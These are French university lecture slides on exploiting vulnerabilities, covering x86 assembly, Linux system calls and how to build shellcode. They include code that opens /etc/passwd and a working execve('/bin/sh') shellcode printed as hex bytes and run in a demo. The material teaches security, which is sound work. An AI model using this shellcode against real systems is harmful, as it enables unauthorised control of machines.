Exploitation de vulnérabilités

Florent Vasseur

2025-2026

5 De l'assembleur au shellcode

- Objectifs et contraintes
- Problème d'adressage
- L'appel système 102 : socketcall
- Exemple de shellcode
- Exécution

Objectif du cours

- Prolifération et vulgarisation des techniques de piratage Web
- Ces techniques ne permettent pas ou peu la corruption totale d'une machine cliente
- Étude de la protection des accès à la mémoire vive par une application
- Un phénomène emblématique : le dépassement de tampon

Organisation du cours

- 18 heures : 3 modules de 2h de cours, 2h de TD et 2h de TP
- Les TD sont des préparations aux TP
- Contrôle continu sur les rendus de TP
- Examen final à la fin du semestre

Shellcodes

- Rappels d'assembleur
- Contraintes associées aux shellcodes
- Exemple de shellcode

Dépassements de tampon

- Dépassement de pile, vulnérabilité au niveau de la pile système ;
- Formatage de chaîne non contrôlé, vulnérabilité au sein de la fonction **printf** et ses dérivées.

Recherche et protection

- Les compilateurs offrent à présent des moyens d'éviter les dépassements de tampon (**execstack**, **terminator canaries**) ;
- Les noyaux rendent plus difficile l'accès à la mémoire exécutable (randomisation des espaces mémoire) ;
- Les IDS/IPS permettent de détecter les attaques sur les flux réseau servant de vecteur d'attaque.

Explication sommaire

- Gestion des variables omniprésente dans les langages de programmation
- Des variables trop remplies peuvent causer des failles
- Impact multiples : crash, détournement, prise de contrôle
- Généralement dues à des erreurs de programmation
- Un seul caractère en trop peut être critique

Historique

- Les dépassements de tampon datent des années 1960
- Explosion à partir de 1996
- Pics de vulnérabilités en 2004 et 2006 ; toujours d'actualité
  - 4 corrections de buffer/heap overflows, 2 stack overflow depuis début 2023 dans PHP 8
  - 44 vulnérabilités de type *overflow* découvertes en 2024 dans le noyau Linux v5 (`https://www.cvedetails.com/vulnerability-list/vendor_id-33/product_id-47/opov-1/Linux-Linux-Kernel.html`)

Acteurs

- Auditeurs, engagés par les entreprises
- Hackers éthiques ou presque (White/Grey Hat)
- Pirates (Black Hat) généralement organisés en groupes (Shadow Brokers, Koobface) et gouvernements, quelquefois liés (groupe Equation, cellule offensive de la NSA, Syrian Electronic Army, etc.)

Périmètre d'application

- Systèmes d'exploitation (Windows, Linux, FreeBSD, SPARC...)
- Applications libres (code source public)
- Applications propriétaires

Détection

- Recherche locale sur une machine similaire à la machine cible
- A distance, si l'application écoute sur un port
- Recherche automatisée de type fuzzing
- Outils libres d'audit de code (RATS, FlawFinder, Valgrind...)
- Outils propriétaires d'audit de code
- Outils de débugging et d'analyse de binaires (GDB, IDA Pro, Radare2)

Spécificités

- Langage de bas niveau difficilement portable
- Type de processeur de la machine cible très important
- Système d'exploitation et version très importants également

Syntaxes

- Deux syntaxes : AT&T et Intel

AT & T	Intel
`movl $ 0x2B, %eax`	`mov eax, 2Bh`

Directives et opérandes

- Langage organisé en sections et instructions
- Une instruction est un mnémonique puis zéro ou plusieurs opérandes
- Relation bijective entre le code assembleur et le code machine

Exemples :

Instruction assembleur	langage machine
`nop`	`\x90`
`xor eax,eax`	`\x31\xc0`
`xor ebx,ebx`	`\x31\xdb`

Directives et opérandes (suite)

- Variable : `texte1`
  déclarées dans une autre section, `.data`, non utilisables avec les shellcodes.
- Constante : `2F9Ah`
  peut être un nombre entier, décimal ou une chaîne de caractères ; la base utilisée pour leur écriture est précisée par le dernier caractère.
- Pointeur : `[0ffb82a56]`, `[eax]`
  représentent l'espace mémoire situé à l'adresse à laquelle renvoie l'opérande situé entre crochets. Il est possible de décaler cette adresse avec un **offset** via l'utilisation du signe + (par exemple, `[eax + 7]`).

Pile

- Permet de stocker temporairement des informations dont on aura besoin plus tard
- De type LIFO (Last In First Out), et principalement contrôlée par les deux instructions `push` et `pop`
- Contenu accessible grâce au registre `esp`

Registres

- Espaces mémoire situés au coeur du processeur
- Variations des appellations en fonction du nombre de bits

Principaux registres utilisés

- `eax` (accumulation)
- `ebx` (base index)
- `ecx` (compteur)
- `edx` (I/O)
- `eip` (Instruction Pointer)
- `esi`, `edi` (Source & Destination Index)
- `esp` (Stack Pointer)
- `ebp` (Base Pointer)

Instructions logiques

- AND destination,masque : Applique le masque sur la destination suivant l'opération AND.
- OR destination, masque : Applique le masque sur la destination suivant l'opération OR.
- XOR destination, masque : Applique le masque sur la destination suivant l'opération XOR.

Exemples :

`AND ebx,0FFh` : Supprime les deux octets de poids fort sur le registre `ebx`.

`XOR eax, eax` : Réinitialise le registre `eax`.

Instructions de modification de données

- MOV destination, source : Place la valeur de `source` dans `destination`.
- LEA destination, source : Place l'adresse de `source` dans `destination` (Load Effective Address).
- ADD destination, source : Ajoute la valeur de `source` à celle de `destination` et place la somme obtenue dans `destination`.
- SUB destination, source : idem, mais soustrait la source de la destination.
- INC destination : Incrémente la valeur contenue dans `destination`.
- DEC destination : Décrémente la valeur contenue dans `destination`.

Instructions de modification de données (suite)

Exemples :
`MOV eax, 42h` : Place 42 dans `eax` (attention, le registre `eax` contient à présent la valeur 00000042).
`MOV ebx, [0BFFF8042h]` : Utilisation d'`ebx` comme tampon pour transvaser le contenu d'un emplacement mémoire...
`MOV [0BFFF8128h], ebx` : ... dans un autre.
`LEA edx, [eax + ebx + 8]` : Place non pas le contenu mais l'adresse `eax` + `ebx` + 8 dans le registre EDX.
`ADD eax, 5` : Ajoute 5 à `eax`.
`INC ecx` : Incrémente `ecx`.

Instructions de pile

- PUSH source : Place la valeur `source` au sommet de la pile.
- POP destination : Place la valeur au sommet de la pile dans `destination`.

Exemples :
`PUSH eax` : Place la valeur contenue dans `eax` sur la pile...
`POP ebx` : Puis la récupère dans `ebx`.

Instructions de saut

- JMP offset|label : Saut inconditionnel
- CALL offset|label : Appel de "fonction"
- RET : Retour de "fonction", généralement utilisé après CALL.
- CMP opérande, opérande : Comparaison
- JG offset|label : Saut conditionnel (plus grand que)
- JGE offset|label : Saut conditionnel (plus grand ou égal à)
- JL offset|label : Saut conditionnel (plus petit que)
- JLE offset|label : Saut conditionnel (plus petit ou égal à)
- JE offset|label : Saut conditionnel (égal à)
- JNE offset|label : Saut conditionnel (différent de)

Instructions de saut (suite)

Exemples :

```
CALL eraseeax
MOV ax, 25h
JMP test
eraseeax:
XOR eax,eax
RET
test:

CMP eax, 1
JGE fin
fin:
```

L'instruction NOP

- Instruction qui sert initialement à durer un cycle d'horloge du microcontrôleur
- Ne fait rien
- Prend de la place en mémoire

Instructions de définition de variable

Instructions DB Declare Byte, DW (Declare Word), DD (Declare Double)
Exemples :

```
section .data
 one: DB 1
 passwd: DB "/etc/passwd",0
 tab: DD 0AAAAh, 1234h

section .text
 MOV eax, passwd
 MOV ebx, [tab + 4]
```

L'instruction int 80h

- Interruption logicielle `int` : diverses conséquences selon l'entier fourni et le système d'exploitation utilisé
- `int 80h` : Appels système Unix
- Fonctionnement différent entre Linux et FreeBSD

Différents appels système

Identifiant	Appel système
1	exit
2	fork
3	read
4	write
5	open
6	close
11	execve

Exemples d'appels

Appel système **exit** :

```
mov ebx, 0
mov eax, 1
int 80h
```

Exemples d'appels (suite)

Ouverture du fichier `/etc/passwd` en lecture avec l'appel système `open` :

```
section .text
mov ebx,pass
mov ecx,0
mov eax,5
int 80h
section .data
pass db '/etc/passwd'
```

Netwide assembler (nasm)

- Nasm : Netwide assembler
- Assembleur multi-plateformes
- Compilations possibles avec différents formats (dont binaire et ELF)

GNU Linker (ld) et strace

- `ld` : GNU Linker - Outil qui récupère le code des fonctions externes appelées dans le programme.
- `strace` : Strace est une commande Unix qui repère les utilisations d'appels système et de signaux, et qui en affiche les paramètres et les résultats.

Objectifs et contraintes

Différentes sortes de shellcodes :

- Shellcode local, qui tente d'ouvrir un shell ou lit/modifie des fichiers auxquels le pirate ne devrait pas avoir accès
- Shellcode distant, qui va ouvrir une backdoor afin de rediriger les requêtes reçues vers un shell et de renvoyer les résultats vers l'extérieur
- Shellcode inverse, qui va se connecter directement sur un serveur possédé par le pirate pour passer à travers les pare-feux (ce sont désormais les plus courants, cf. `windows/meterpreter/reverse_tcp` sur Metasploit)

Objectifs et contraintes (suite)

Contraintes :

- Accès aux adresses mémoire difficile
- Impossible d'utiliser l'octet NULL dans un shellcode
- Certaines fonctionnalités sont très peu documentées

Le jmp/call trick

Contraintes :

- Accès aux adresses mémoire possible grâce au registre `eip`
- Registre non accessible directement ; il faut utiliser l'instruction `call`

```
jmp .var
.code:
pop ebx
;suite du shellcode...
.var:
call .code
db '/etc/passwd'
```

Utilisation de la pile

- Utilisation de la pile comme tampon pour des buffers
- Ne pas oublier de terminer les chaînes avec NULL
- La pile croît vers le bas !

```
xor eax,eax
push eax
push long 64777373h
push long 61702f63h
push long 74652f2fh
mov ebx,esp
mov ecx,0
mov eax,5
int 80h
```

L'octet \00 (NULL)

Présence possible de l'octet NULL :

- Dans les registres : la mise à zéro des registres (`xor eax,eax`) sera utilisée très fréquemment.
- Dans les constantes : les instructions de type `mov eax,1` génèrent des octets NULL. On préférera donc utiliser la variante 8-bit du registre : `mov al, 1`.
- Dans les paramètres : Pour terminer une chaîne de caractères placée sur la pile, il faut un octet **NULL**. Il ne faut donc pas oublier de mettre à zéro un registre et de le pousser sur la pile avant la chaîne (puisque la pile croît à l'envers).

L'appel système 102 : socketcall

- Second identifiant utilisé pour les appels liées aux sockets
- Certains appels sont difficiles étant donné l'utilisation de structures
- Documentation assez difficile à trouver : il faut plutôt utiliser un debugger et copier les mécanismes utilisés en C.

Cette méthode sera abordée en TP.

Exemple de shellcode

Shellcode qui lance la commande
`execve('/bin/sh',['/bin/sh', 0], 0)` :

```
BITS 32
xor eax,eax
xor edx,edx
push eax
push long 68732f6eh
push long 69622f2fh
mov ebx,esp
push eax
push ebx
mov ecx,esp
mov al,0bh
int 80h
```

Shellcode lancé avec l'outil **s-proc** :

```
florentv$ ./s-proc -p shellcode
char shellcode[] =
"\x31\xc0\x31\xd2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69"\\
"\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";

florentv$ ./s-proc -e shellcode
Calling code ...
$
```